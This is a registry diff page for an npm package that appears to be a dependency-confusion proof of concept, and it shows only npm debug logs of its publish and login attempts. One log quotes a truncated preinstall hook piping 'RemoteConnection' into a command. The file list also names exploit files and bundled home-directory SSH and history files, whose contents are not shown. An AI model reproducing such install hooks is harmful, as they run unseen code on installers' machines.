myconfusedfunctionpoctestpackage 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of myconfusedfunctionpoctestpackage might be problematic. Click here for more details.

Files changed (39) hide show
  1. package/.bash_history +348 -0
  2. package/.bash_logout +7 -0
  3. package/.bashrc +117 -0
  4. package/.cache/motd.legal-displayed +0 -0
  5. package/.lesshst +1 -0
  6. package/.npm/_cacache/_lastverified +1 -0
  7. package/.npm/_cacache/content-v2/sha512/3d/2e/8f404043bf46e458a2dedf19a4ec74d8c379005727ea5eaf44a88e430d0bccdfcb2c6e00c5069d6a1c3eb28fe804672f788196e273ac5c612783f940115a +0 -0
  8. package/.npm/_cacache/content-v2/sha512/73/24/ab22de871b58c47a962ece82193f224b6c57154bb808c59d9a2777c83807630329ce5d921fec115c0e26c5700f50b2b0b93b1ef7ec3cf86e99e921dc59a6 +0 -0
  9. package/.npm/_cacache/content-v2/sha512/74/96/98bc622eb555e919675c2646628d2154adaa2678bcb5e31eb5a3cc1e2599f9c987440cfcf6bbeacd071b9c05091c4fd92b92680df20baf4c1d9d14a61979 +0 -0
  10. package/.npm/_cacache/content-v2/sha512/76/24/0207b71e6fed0a8a0d7a6a0c28b3f5ad32122a5227fe9edbb7f0f9fd6dfdefc9529dfc8cc25004f41ac24cc7d36a8412e5216dd0ef1189e3ef13b4ba32e1 +1 -0
  11. package/.npm/_cacache/content-v2/sha512/8b/7c/d086052fa89b371cff7fbdd2db6a7ff6cc2294ad6fc560c1e9bcd5797b1626f85785b31cbca5a7bb00db53e75d974d09eee786a6be65f25c9a720889165d +0 -0
  12. package/.npm/_cacache/content-v2/sha512/8d/a1/fc39c0ada87d88459d33d72b6189fcef1be8ac5d4f41cca8eaac29543ed4dd12f36ea2dd7d6c462938b62e776195d3d574f3ac8e45a6a0a9e51b449bd98a +0 -0
  13. package/.npm/_cacache/content-v2/sha512/bc/16/4336822f515eab7926ef7c0a2635fe0609ea084b936ca9b0bbd3cd34389c23dc70a35e295f6c26571336691f462882d567b26061717b8d5fa0361884e4c6 +0 -0
  14. package/.npm/_cacache/content-v2/sha512/cb/ee/a33fc813c6e16025cf6f1f8602668e53f85fd9120f022fb61e34b92f5ddc51badb5366281bbd752c6ab12068df9efaaabdd61f444b1cedf6300428aa4237 +0 -0
  15. package/.npm/_cacache/content-v2/sha512/d4/f7/fd873ae3f46ecbf343cd0fc6b8c0563eddb31a624aeab26b59e00d60a76ee619c5c84d6fe74246f724e2332fba5bfadadb4fedd51fb9bf7305b4bcd4c05e +0 -0
  16. package/.npm/_cacache/index-v5/9a/5d/18b734f038b4b4e0f36a1c1d9c852b951409916ab3205e88ac3cab28e02b +2 -0
  17. package/.npm/_cacache/index-v5/ae/c1/794477315825298db9ca27dfd950e963043ec553246545524bbab48a0c70 +9 -0
  18. package/.npm/_logs/2025-02-18T21_33_03_139Z-debug-0.log +92 -0
  19. package/.npm/_logs/2025-02-18T21_50_24_882Z-debug-0.log +92 -0
  20. package/.npm/_logs/2025-02-19T18_25_06_875Z-debug-0.log +57 -0
  21. package/.npm/_logs/2025-02-19T18_26_25_285Z-debug-0.log +107 -0
  22. package/.npm/_logs/2025-02-20T17_24_53_241Z-debug-0.log +55 -0
  23. package/.npm/_logs/2025-02-20T17_31_53_704Z-debug-0.log +106 -0
  24. package/.npm/_logs/2025-02-20T17_32_25_292Z-debug-0.log +38 -0
  25. package/.npm/_logs/2025-02-20T17_32_58_080Z-debug-0.log +89 -0
  26. package/.npm/_logs/2025-02-20T18_28_42_136Z-debug-0.log +90 -0
  27. package/.npm/_logs/2025-02-20T19_17_02_081Z-debug-0.log +91 -0
  28. package/.npm/_logs/2025-02-20T20_52_34_261Z-debug-0.log +35 -0
  29. package/.npm/_update-notifier-last-checked +0 -0
  30. package/.profile +27 -0
  31. package/.ssh/authorized_keys +1 -0
  32. package/.ssh/known_hosts +1 -0
  33. package/.sudo_as_admin_successful +0 -0
  34. package/base.ldif +13 -0
  35. package/exploit.bat +1 -0
  36. package/exploit.txt +26 -0
  37. package/package.json +10 -4
  38. package/package.json.save +12 -0
  39. package/README.md +0 -5
@@ -0,0 +1,92 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@9.2.0
3
+ 2 info using node@v18.19.1
4
+ 3 timing npm:load:whichnode Completed in 0ms
5
+ 4 timing config:load:defaults Completed in 3ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 4ms
7
+ 6 timing config:load:builtin Completed in 4ms
8
+ 7 timing config:load:cli Completed in 4ms
9
+ 8 timing config:load:env Completed in 0ms
10
+ 9 timing config:load:project Completed in 5ms
11
+ 10 timing config:load:file:/home/bigibson/.npmrc Completed in 1ms
12
+ 11 timing config:load:user Completed in 1ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 1ms
14
+ 13 timing config:load:global Completed in 1ms
15
+ 14 timing config:load:setEnvs Completed in 2ms
16
+ 15 timing config:load Completed in 20ms
17
+ 16 timing npm:load:configload Completed in 20ms
18
+ 17 timing npm:load:mkdirpcache Completed in 0ms
19
+ 18 timing npm:load:mkdirplogs Completed in 1ms
20
+ 19 verbose title npm publish
21
+ 20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
22
+ 21 timing npm:load:setTitle Completed in 2ms
23
+ 22 timing config:load:flatten Completed in 6ms
24
+ 23 timing npm:load:display Completed in 11ms
25
+ 24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-18T21_50_24_882Z-
26
+ 25 verbose logfile /home/bigibson/.npm/_logs/2025-02-18T21_50_24_882Z-debug-0.log
27
+ 26 timing npm:load:logFile Completed in 13ms
28
+ 27 timing npm:load:timers Completed in 0ms
29
+ 28 timing npm:load:configScope Completed in 0ms
30
+ 29 timing npm:load Completed in 49ms
31
+ 30 verbose publish [ '.' ]
32
+ 31 timing config:load:flatten Completed in 1ms
33
+ 32 silly logfile start cleaning logs, removing 1 files
34
+ 33 silly logfile done cleaning log files
35
+ 34 timing arborist:ctor Completed in 1ms
36
+ 35 notice
37
+ 36 notice 📦 mygcpconfusedfunctionpocmaliciouspackage@1.1.1
38
+ 37 notice === Tarball Contents ===
39
+ 38 notice 10.3kB .bash_history
40
+ 38 notice 220B .bash_logout
41
+ 38 notice 3.8kB .bashrc
42
+ 38 notice 0B .cache/motd.legal-displayed
43
+ 38 notice 20B .lesshst
44
+ 38 notice 13B .npm/_cacache/_lastverified
45
+ 38 notice 8.4kB .npm/_cacache/content-v2/sha512/74/96/98bc622eb555e919675c2646628d2154adaa2678bcb5e31eb5a3cc1e2599f9c987440cfcf6bbeacd071b9c05091c4fd92b92680df20baf4c1d9d14a61979
46
+ 38 notice 18.8kB .npm/_cacache/content-v2/sha512/d4/f7/fd873ae3f46ecbf343cd0fc6b8c0563eddb31a624aeab26b59e00d60a76ee619c5c84d6fe74246f724e2332fba5bfadadb4fedd51fb9bf7305b4bcd4c05e
47
+ 38 notice 459B .npm/_cacache/index-v5/ae/c1/794477315825298db9ca27dfd950e963043ec553246545524bbab48a0c70
48
+ 38 notice 1.5kB .npm/_logs/2025-02-18T21_20_09_822Z-debug-0.log
49
+ 38 notice 4.1kB .npm/_logs/2025-02-18T21_20_29_367Z-debug-0.log
50
+ 38 notice 1.7kB .npm/_logs/2025-02-18T21_21_06_239Z-debug-0.log
51
+ 38 notice 1.6kB .npm/_logs/2025-02-18T21_22_26_412Z-debug-0.log
52
+ 38 notice 1.6kB .npm/_logs/2025-02-18T21_25_05_883Z-debug-0.log
53
+ 38 notice 1.6kB .npm/_logs/2025-02-18T21_27_30_500Z-debug-0.log
54
+ 38 notice 1.7kB .npm/_logs/2025-02-18T21_31_20_232Z-debug-0.log
55
+ 38 notice 1.7kB .npm/_logs/2025-02-18T21_31_36_441Z-debug-0.log
56
+ 38 notice 4.1kB .npm/_logs/2025-02-18T21_32_40_480Z-debug-0.log
57
+ 38 notice 8.6kB .npm/_logs/2025-02-18T21_33_03_139Z-debug-0.log
58
+ 38 notice 1.7kB .npm/_logs/2025-02-18T21_50_24_882Z-debug-0.log
59
+ 38 notice 0B .npm/_update-notifier-last-checked
60
+ 38 notice 807B .profile
61
+ 38 notice 100B .ssh/authorized_keys
62
+ 38 notice 142B .ssh/known_hosts
63
+ 38 notice 0B .sudo_as_admin_successful
64
+ 38 notice 327B base.ldif
65
+ 38 notice 377B exploit.bat
66
+ 38 notice 3.8kB exploit.txt
67
+ 38 notice 483B package.json
68
+ 39 notice === Tarball Details ===
69
+ 40 notice name: mygcpconfusedfunctionpocmaliciouspackage
70
+ 40 notice version: 1.1.1
71
+ 40 notice filename: mygcpconfusedfunctionpocmaliciouspackage-1.1.1.tgz
72
+ 40 notice package size: 39.0 kB
73
+ 40 notice unpacked size: 77.7 kB
74
+ 40 notice shasum: db1caeda62d7f2a2d155d488b7a4c03af10e3ddc
75
+ 40 notice integrity: sha512-PS6PQEBDv0bkW[...]6xcYSeD+UARWg==
76
+ 40 notice total files: 29
77
+ 41 notice
78
+ 42 notice Publishing to https://registry.npmjs.org/ with tag latest and default access
79
+ 43 http fetch PUT 401 https://registry.npmjs.org/mygcpconfusedfunctionpocmaliciouspackage 240ms
80
+ 44 http fetch GET 202 https://registry.npmjs.org/-/v1/done?authId=npm_*** 54ms
81
+ 45 http fetch GET 202 https://registry.npmjs.org/-/v1/done?authId=npm_*** 65ms
82
+ 46 http fetch GET 202 https://registry.npmjs.org/-/v1/done?authId=npm_*** 55ms
83
+ 47 http fetch GET 202 https://registry.npmjs.org/-/v1/done?authId=npm_*** 58ms
84
+ 48 http fetch GET 202 https://registry.npmjs.org/-/v1/done?authId=npm_*** 47ms
85
+ 49 http fetch GET 202 https://registry.npmjs.org/-/v1/done?authId=npm_*** 60ms
86
+ 50 http fetch GET 202 https://registry.npmjs.org/-/v1/done?authId=npm_*** 63ms
87
+ 51 http fetch GET 200 https://registry.npmjs.org/-/v1/done?authId=npm_*** 66ms
88
+ 52 http fetch PUT 200 https://registry.npmjs.org/mygcpconfusedfunctionpocmaliciouspackage 1832ms
89
+ 53 timing command:publish Completed in 23838ms
90
+ 54 verbose exit 0
91
+ 55 timing npm Completed in 23913ms
92
+ 56 info ok
@@ -0,0 +1,57 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@9.2.0
3
+ 2 info using node@v18.19.1
4
+ 3 timing npm:load:whichnode Completed in 1ms
5
+ 4 timing config:load:defaults Completed in 5ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 7ms
7
+ 6 timing config:load:builtin Completed in 8ms
8
+ 7 timing config:load:cli Completed in 5ms
9
+ 8 timing config:load:env Completed in 1ms
10
+ 9 timing config:load:project Completed in 2ms
11
+ 10 timing config:load:file:/home/bigibson/.npmrc Completed in 0ms
12
+ 11 timing config:load:user Completed in 0ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 0ms
14
+ 13 timing config:load:global Completed in 0ms
15
+ 14 timing config:load:setEnvs Completed in 2ms
16
+ 15 timing config:load Completed in 25ms
17
+ 16 timing npm:load:configload Completed in 25ms
18
+ 17 timing npm:load:mkdirpcache Completed in 0ms
19
+ 18 timing npm:load:mkdirplogs Completed in 0ms
20
+ 19 verbose title npm publish
21
+ 20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
22
+ 21 timing npm:load:setTitle Completed in 2ms
23
+ 22 timing config:load:flatten Completed in 7ms
24
+ 23 timing npm:load:display Completed in 14ms
25
+ 24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-19T18_25_06_875Z-
26
+ 25 verbose logfile /home/bigibson/.npm/_logs/2025-02-19T18_25_06_875Z-debug-0.log
27
+ 26 timing npm:load:logFile Completed in 17ms
28
+ 27 timing npm:load:timers Completed in 0ms
29
+ 28 timing npm:load:configScope Completed in 1ms
30
+ 29 timing npm:load Completed in 61ms
31
+ 30 verbose publish [ '.' ]
32
+ 31 timing config:load:flatten Completed in 1ms
33
+ 32 silly logfile start cleaning logs, removing 1 files
34
+ 33 silly logfile done cleaning log files
35
+ 34 timing command:publish Completed in 24ms
36
+ 35 verbose stack Error: Failed to parse json
37
+ 35 verbose stack Unexpected token "R" (0x52) in JSON at position 174 while parsing near "...preinstall\": \"echo \"RemoteConnection\" | ..."
38
+ 35 verbose stack at parseError (/usr/share/nodejs/read-package-json/lib/read-json.js:601:11)
39
+ 35 verbose stack at parseJson (/usr/share/nodejs/read-package-json/lib/read-json.js:115:17)
40
+ 35 verbose stack at /usr/share/nodejs/read-package-json/lib/read-json.js:50:5
41
+ 35 verbose stack at /usr/share/nodejs/graceful-fs/graceful-fs.js:123:16
42
+ 35 verbose stack at FSReqCallback.readFileAfterClose [as oncomplete] (node:internal/fs/read_file_context:68:3)
43
+ 36 verbose cwd /home/bigibson
44
+ 37 verbose Linux 6.8.0-1021-azure
45
+ 38 verbose node v18.19.1
46
+ 39 verbose npm v9.2.0
47
+ 40 error code EJSONPARSE
48
+ 41 error path /home/bigibson/package.json
49
+ 42 error JSON.parse Failed to parse json
50
+ 42 error JSON.parse Unexpected token "R" (0x52) in JSON at position 174 while parsing near "...preinstall\": \"echo \"RemoteConnection\" | ..."
51
+ 43 error JSON.parse Failed to parse JSON data.
52
+ 43 error JSON.parse Note: package.json must be actual JSON, not just JavaScript.
53
+ 44 verbose exit 1
54
+ 45 timing npm Completed in 129ms
55
+ 46 verbose code 1
56
+ 47 error A complete log of this run can be found in:
57
+ 47 error /home/bigibson/.npm/_logs/2025-02-19T18_25_06_875Z-debug-0.log
@@ -0,0 +1,107 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@9.2.0
3
+ 2 info using node@v18.19.1
4
+ 3 timing npm:load:whichnode Completed in 1ms
5
+ 4 timing config:load:defaults Completed in 3ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 4ms
7
+ 6 timing config:load:builtin Completed in 4ms
8
+ 7 timing config:load:cli Completed in 4ms
9
+ 8 timing config:load:env Completed in 0ms
10
+ 9 timing config:load:project Completed in 2ms
11
+ 10 timing config:load:file:/home/bigibson/.npmrc Completed in 0ms
12
+ 11 timing config:load:user Completed in 0ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 0ms
14
+ 13 timing config:load:global Completed in 1ms
15
+ 14 timing config:load:setEnvs Completed in 1ms
16
+ 15 timing config:load Completed in 16ms
17
+ 16 timing npm:load:configload Completed in 17ms
18
+ 17 timing npm:load:mkdirpcache Completed in 0ms
19
+ 18 timing npm:load:mkdirplogs Completed in 1ms
20
+ 19 verbose title npm publish
21
+ 20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
22
+ 21 timing npm:load:setTitle Completed in 5ms
23
+ 22 timing config:load:flatten Completed in 8ms
24
+ 23 timing npm:load:display Completed in 13ms
25
+ 24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-19T18_26_25_285Z-
26
+ 25 verbose logfile /home/bigibson/.npm/_logs/2025-02-19T18_26_25_285Z-debug-0.log
27
+ 26 timing npm:load:logFile Completed in 14ms
28
+ 27 timing npm:load:timers Completed in 0ms
29
+ 28 timing npm:load:configScope Completed in 1ms
30
+ 29 timing npm:load Completed in 53ms
31
+ 30 verbose publish [ '.' ]
32
+ 31 timing config:load:flatten Completed in 0ms
33
+ 32 silly logfile start cleaning logs, removing 1 files
34
+ 33 silly logfile done cleaning log files
35
+ 34 timing arborist:ctor Completed in 1ms
36
+ 35 notice
37
+ 36 notice 📦 mygcpconfusedfunctionpocmaliciouspackage@1.1.2
38
+ 37 notice === Tarball Contents ===
39
+ 38 notice 10.9kB .bash_history
40
+ 38 notice 220B .bash_logout
41
+ 38 notice 3.8kB .bashrc
42
+ 38 notice 0B .cache/motd.legal-displayed
43
+ 38 notice 20B .lesshst
44
+ 38 notice 13B .npm/_cacache/_lastverified
45
+ 38 notice 39.0kB .npm/_cacache/content-v2/sha512/3d/2e/8f404043bf46e458a2dedf19a4ec74d8c379005727ea5eaf44a88e430d0bccdfcb2c6e00c5069d6a1c3eb28fe804672f788196e273ac5c612783f940115a
46
+ 38 notice 8.4kB .npm/_cacache/content-v2/sha512/74/96/98bc622eb555e919675c2646628d2154adaa2678bcb5e31eb5a3cc1e2599f9c987440cfcf6bbeacd071b9c05091c4fd92b92680df20baf4c1d9d14a61979
47
+ 38 notice 18.8kB .npm/_cacache/content-v2/sha512/d4/f7/fd873ae3f46ecbf343cd0fc6b8c0563eddb31a624aeab26b59e00d60a76ee619c5c84d6fe74246f724e2332fba5bfadadb4fedd51fb9bf7305b4bcd4c05e
48
+ 38 notice 689B .npm/_cacache/index-v5/ae/c1/794477315825298db9ca27dfd950e963043ec553246545524bbab48a0c70
49
+ 38 notice 1.7kB .npm/_logs/2025-02-18T21_21_06_239Z-debug-0.log
50
+ 38 notice 1.6kB .npm/_logs/2025-02-18T21_22_26_412Z-debug-0.log
51
+ 38 notice 1.6kB .npm/_logs/2025-02-18T21_25_05_883Z-debug-0.log
52
+ 38 notice 1.6kB .npm/_logs/2025-02-18T21_27_30_500Z-debug-0.log
53
+ 38 notice 1.7kB .npm/_logs/2025-02-18T21_31_20_232Z-debug-0.log
54
+ 38 notice 1.7kB .npm/_logs/2025-02-18T21_31_36_441Z-debug-0.log
55
+ 38 notice 4.1kB .npm/_logs/2025-02-18T21_32_40_480Z-debug-0.log
56
+ 38 notice 8.6kB .npm/_logs/2025-02-18T21_33_03_139Z-debug-0.log
57
+ 38 notice 8.7kB .npm/_logs/2025-02-18T21_50_24_882Z-debug-0.log
58
+ 38 notice 3.0kB .npm/_logs/2025-02-19T18_25_06_875Z-debug-0.log
59
+ 38 notice 1.7kB .npm/_logs/2025-02-19T18_26_25_285Z-debug-0.log
60
+ 38 notice 0B .npm/_update-notifier-last-checked
61
+ 38 notice 807B .profile
62
+ 38 notice 100B .ssh/authorized_keys
63
+ 38 notice 142B .ssh/known_hosts
64
+ 38 notice 0B .sudo_as_admin_successful
65
+ 38 notice 327B base.ldif
66
+ 38 notice 377B exploit.bat
67
+ 38 notice 3.8kB exploit.txt
68
+ 38 notice 377B package.json
69
+ 38 notice 289B package.json.save
70
+ 39 notice === Tarball Details ===
71
+ 40 notice name: mygcpconfusedfunctionpocmaliciouspackage
72
+ 40 notice version: 1.1.2
73
+ 40 notice filename: mygcpconfusedfunctionpocmaliciouspackage-1.1.2.tgz
74
+ 40 notice package size: 79.1 kB
75
+ 40 notice unpacked size: 123.8 kB
76
+ 40 notice shasum: 2dacc19db3f54bad2c3f0840d757cb9eaa5fe2ca
77
+ 40 notice integrity: sha512-y+6jP8gTxuFgJ[...]xzt9jAEKKpCNw==
78
+ 40 notice total files: 31
79
+ 41 notice
80
+ 42 notice Publishing to https://registry.npmjs.org/ with tag latest and default access
81
+ 43 http fetch PUT 404 https://registry.npmjs.org/mygcpconfusedfunctionpocmaliciouspackage 215ms
82
+ 44 timing command:publish Completed in 521ms
83
+ 45 verbose stack HttpErrorGeneral: 404 Not Found - PUT https://registry.npmjs.org/mygcpconfusedfunctionpocmaliciouspackage - Not found
84
+ 45 verbose stack at /usr/share/nodejs/npm/node_modules/npm-registry-fetch/lib/check-response.js:95:15
85
+ 45 verbose stack at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
86
+ 45 verbose stack at async publish (/usr/share/nodejs/libnpmpublish/lib/publish.js:42:12)
87
+ 45 verbose stack at async otplease (/usr/share/nodejs/npm/lib/utils/otplease.js:4:12)
88
+ 45 verbose stack at async Publish.exec (/usr/share/nodejs/npm/lib/commands/publish.js:126:7)
89
+ 45 verbose stack at async module.exports (/usr/share/nodejs/npm/lib/cli.js:133:5)
90
+ 46 verbose statusCode 404
91
+ 47 verbose pkgid mygcpconfusedfunctionpocmaliciouspackage@1.1.2
92
+ 48 verbose cwd /home/bigibson
93
+ 49 verbose Linux 6.8.0-1021-azure
94
+ 50 verbose node v18.19.1
95
+ 51 verbose npm v9.2.0
96
+ 52 error code E404
97
+ 53 error 404 Not Found - PUT https://registry.npmjs.org/mygcpconfusedfunctionpocmaliciouspackage - Not found
98
+ 54 error 404
99
+ 55 error 404 'mygcpconfusedfunctionpocmaliciouspackage@1.1.2' is not in this registry.
100
+ 56 error 404
101
+ 56 error 404 Note that you can also install from a
102
+ 57 error 404 tarball, folder, http url, or git url.
103
+ 58 verbose exit 1
104
+ 59 timing npm Completed in 609ms
105
+ 60 verbose code 1
106
+ 61 error A complete log of this run can be found in:
107
+ 61 error /home/bigibson/.npm/_logs/2025-02-19T18_26_25_285Z-debug-0.log
@@ -0,0 +1,55 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@9.2.0
3
+ 2 info using node@v18.19.1
4
+ 3 timing npm:load:whichnode Completed in 1ms
5
+ 4 timing config:load:defaults Completed in 4ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 4ms
7
+ 6 timing config:load:builtin Completed in 4ms
8
+ 7 timing config:load:cli Completed in 2ms
9
+ 8 timing config:load:env Completed in 0ms
10
+ 9 timing config:load:project Completed in 2ms
11
+ 10 timing config:load:file:/home/bigibson/.npmrc Completed in 0ms
12
+ 11 timing config:load:user Completed in 0ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 0ms
14
+ 13 timing config:load:global Completed in 0ms
15
+ 14 timing config:load:setEnvs Completed in 2ms
16
+ 15 timing config:load Completed in 16ms
17
+ 16 timing npm:load:configload Completed in 16ms
18
+ 17 timing npm:load:mkdirpcache Completed in 4ms
19
+ 18 timing npm:load:mkdirplogs Completed in 0ms
20
+ 19 verbose title npm login
21
+ 20 verbose argv "login"
22
+ 21 timing npm:load:setTitle Completed in 3ms
23
+ 22 timing config:load:flatten Completed in 8ms
24
+ 23 timing npm:load:display Completed in 10ms
25
+ 24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-20T17_24_53_241Z-
26
+ 25 verbose logfile /home/bigibson/.npm/_logs/2025-02-20T17_24_53_241Z-debug-0.log
27
+ 26 timing npm:load:logFile Completed in 13ms
28
+ 27 timing npm:load:timers Completed in 1ms
29
+ 28 timing npm:load:configScope Completed in 0ms
30
+ 29 timing npm:load Completed in 49ms
31
+ 30 notice Log in on https://registry.npmjs.org/
32
+ 31 timing config:load:flatten Completed in 1ms
33
+ 32 verbose web login before first POST
34
+ 33 silly logfile start cleaning logs, removing 1 files
35
+ 34 silly logfile done cleaning log files
36
+ 35 http fetch POST 200 https://registry.npmjs.org/-/v1/login 192ms
37
+ 36 verbose web auth got response {
38
+ 36 verbose web auth loginUrl: 'https://www.npmjs.com/login?next=/login/cli/2afc5054-544a-4a7c-a738-5989e82eb200',
39
+ 36 verbose web auth doneUrl: 'https://registry.npmjs.org/-/v1/done?sessionId=2afc5054-544a-4a7c-a738-5989e82eb200'
40
+ 36 verbose web auth }
41
+ 37 verbose web auth opening url pair
42
+ 38 http fetch GET 202 https://registry.npmjs.org/-/v1/done?sessionId=npm_*** 54ms
43
+ 39 http fetch GET 202 https://registry.npmjs.org/-/v1/done?sessionId=npm_*** 81ms
44
+ 40 http fetch GET 202 https://registry.npmjs.org/-/v1/done?sessionId=npm_*** 56ms
45
+ 41 http fetch GET 202 https://registry.npmjs.org/-/v1/done?sessionId=npm_*** 50ms
46
+ 42 http fetch GET 202 https://registry.npmjs.org/-/v1/done?sessionId=npm_*** 196ms
47
+ 43 http fetch GET 202 https://registry.npmjs.org/-/v1/done?sessionId=npm_*** 47ms
48
+ 44 http fetch GET 200 https://registry.npmjs.org/-/v1/done?sessionId=npm_*** 52ms
49
+ 45 verbose web auth done-check finished
50
+ 46 info login Logged in on https://registry.npmjs.org/.
51
+ 47 timing command:login Completed in 18771ms
52
+ 48 verbose exit 0
53
+ 49 timing config:load:flatten Completed in 2ms
54
+ 50 timing npm Completed in 18875ms
55
+ 51 info ok
@@ -0,0 +1,106 @@
1
+ 0 verbose cli /usr/bin/node /usr/bin/npm
2
+ 1 info using npm@9.2.0
3
+ 2 info using node@v18.19.1
4
+ 3 timing npm:load:whichnode Completed in 1ms
5
+ 4 timing config:load:defaults Completed in 3ms
6
+ 5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 6ms
7
+ 6 timing config:load:builtin Completed in 6ms
8
+ 7 timing config:load:cli Completed in 4ms
9
+ 8 timing config:load:env Completed in 1ms
10
+ 9 timing config:load:project Completed in 1ms
11
+ 10 timing config:load:file:/home/bigibson/.npmrc Completed in 1ms
12
+ 11 timing config:load:user Completed in 1ms
13
+ 12 timing config:load:file:/etc/npmrc Completed in 1ms
14
+ 13 timing config:load:global Completed in 1ms
15
+ 14 timing config:load:setEnvs Completed in 1ms
16
+ 15 timing config:load Completed in 20ms
17
+ 16 timing npm:load:configload Completed in 20ms
18
+ 17 timing npm:load:mkdirpcache Completed in 0ms
19
+ 18 timing npm:load:mkdirplogs Completed in 0ms
20
+ 19 verbose title npm publish
21
+ 20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
22
+ 21 timing npm:load:setTitle Completed in 4ms
23
+ 22 timing config:load:flatten Completed in 9ms
24
+ 23 timing npm:load:display Completed in 16ms
25
+ 24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-20T17_31_53_704Z-
26
+ 25 verbose logfile /home/bigibson/.npm/_logs/2025-02-20T17_31_53_704Z-debug-0.log
27
+ 26 timing npm:load:logFile Completed in 14ms
28
+ 27 timing npm:load:timers Completed in 0ms
29
+ 28 timing npm:load:configScope Completed in 0ms
30
+ 29 timing npm:load Completed in 56ms
31
+ 30 verbose publish [ '.' ]
32
+ 31 timing config:load:flatten Completed in 1ms
33
+ 32 silly logfile start cleaning logs, removing 1 files
34
+ 33 silly logfile done cleaning log files
35
+ 34 timing arborist:ctor Completed in 1ms
36
+ 35 notice
37
+ 36 notice 📦 mygcpconfusedfunctionpocmaliciouspackage@1.0.0
38
+ 37 notice === Tarball Contents ===
39
+ 38 notice 11.0kB .bash_history
40
+ 38 notice 220B .bash_logout
41
+ 38 notice 3.8kB .bashrc
42
+ 38 notice 0B .cache/motd.legal-displayed
43
+ 38 notice 20B .lesshst
44
+ 38 notice 13B .npm/_cacache/_lastverified
45
+ 38 notice 39.0kB .npm/_cacache/content-v2/sha512/3d/2e/8f404043bf46e458a2dedf19a4ec74d8c379005727ea5eaf44a88e430d0bccdfcb2c6e00c5069d6a1c3eb28fe804672f788196e273ac5c612783f940115a
46
+ 38 notice 8.4kB .npm/_cacache/content-v2/sha512/74/96/98bc622eb555e919675c2646628d2154adaa2678bcb5e31eb5a3cc1e2599f9c987440cfcf6bbeacd071b9c05091c4fd92b92680df20baf4c1d9d14a61979
47
+ 38 notice 79.1kB .npm/_cacache/content-v2/sha512/cb/ee/a33fc813c6e16025cf6f1f8602668e53f85fd9120f022fb61e34b92f5ddc51badb5366281bbd752c6ab12068df9efaaabdd61f444b1cedf6300428aa4237
48
+ 38 notice 18.8kB .npm/_cacache/content-v2/sha512/d4/f7/fd873ae3f46ecbf343cd0fc6b8c0563eddb31a624aeab26b59e00d60a76ee619c5c84d6fe74246f724e2332fba5bfadadb4fedd51fb9bf7305b4bcd4c05e
49
+ 38 notice 919B .npm/_cacache/index-v5/ae/c1/794477315825298db9ca27dfd950e963043ec553246545524bbab48a0c70
50
+ 38 notice 1.6kB .npm/_logs/2025-02-18T21_25_05_883Z-debug-0.log
51
+ 38 notice 1.6kB .npm/_logs/2025-02-18T21_27_30_500Z-debug-0.log
52
+ 38 notice 1.7kB .npm/_logs/2025-02-18T21_31_20_232Z-debug-0.log
53
+ 38 notice 1.7kB .npm/_logs/2025-02-18T21_31_36_441Z-debug-0.log
54
+ 38 notice 4.1kB .npm/_logs/2025-02-18T21_32_40_480Z-debug-0.log
55
+ 38 notice 8.6kB .npm/_logs/2025-02-18T21_33_03_139Z-debug-0.log
56
+ 38 notice 8.7kB .npm/_logs/2025-02-18T21_50_24_882Z-debug-0.log
57
+ 38 notice 3.0kB .npm/_logs/2025-02-19T18_25_06_875Z-debug-0.log
58
+ 38 notice 9.7kB .npm/_logs/2025-02-19T18_26_25_285Z-debug-0.log
59
+ 38 notice 2.9kB .npm/_logs/2025-02-20T17_24_53_241Z-debug-0.log
60
+ 38 notice 1.7kB .npm/_logs/2025-02-20T17_31_53_704Z-debug-0.log
61
+ 38 notice 0B .npm/_update-notifier-last-checked
62
+ 38 notice 807B .profile
63
+ 38 notice 100B .ssh/authorized_keys
64
+ 38 notice 142B .ssh/known_hosts
65
+ 38 notice 0B .sudo_as_admin_successful
66
+ 38 notice 327B base.ldif
67
+ 38 notice 377B exploit.bat
68
+ 38 notice 3.8kB exploit.txt
69
+ 38 notice 377B package.json
70
+ 38 notice 289B package.json.save
71
+ 39 notice === Tarball Details ===
72
+ 40 notice name: mygcpconfusedfunctionpocmaliciouspackage
73
+ 40 notice version: 1.0.0
74
+ 40 notice filename: mygcpconfusedfunctionpocmaliciouspackage-1.0.0.tgz
75
+ 40 notice package size: 159.6 kB
76
+ 40 notice unpacked size: 212.5 kB
77
+ 40 notice shasum: 0641b662d475cab50794608c4996ed71d3911359
78
+ 40 notice integrity: sha512-cySrIt6HG1jEe[...]Dz4bpnpIdxZpg==
79
+ 40 notice total files: 32
80
+ 41 notice
81
+ 42 notice Publishing to https://registry.npmjs.org/ with tag latest and default access
82
+ 43 http fetch PUT 403 https://registry.npmjs.org/mygcpconfusedfunctionpocmaliciouspackage 293ms
83
+ 44 timing command:publish Completed in 616ms
84
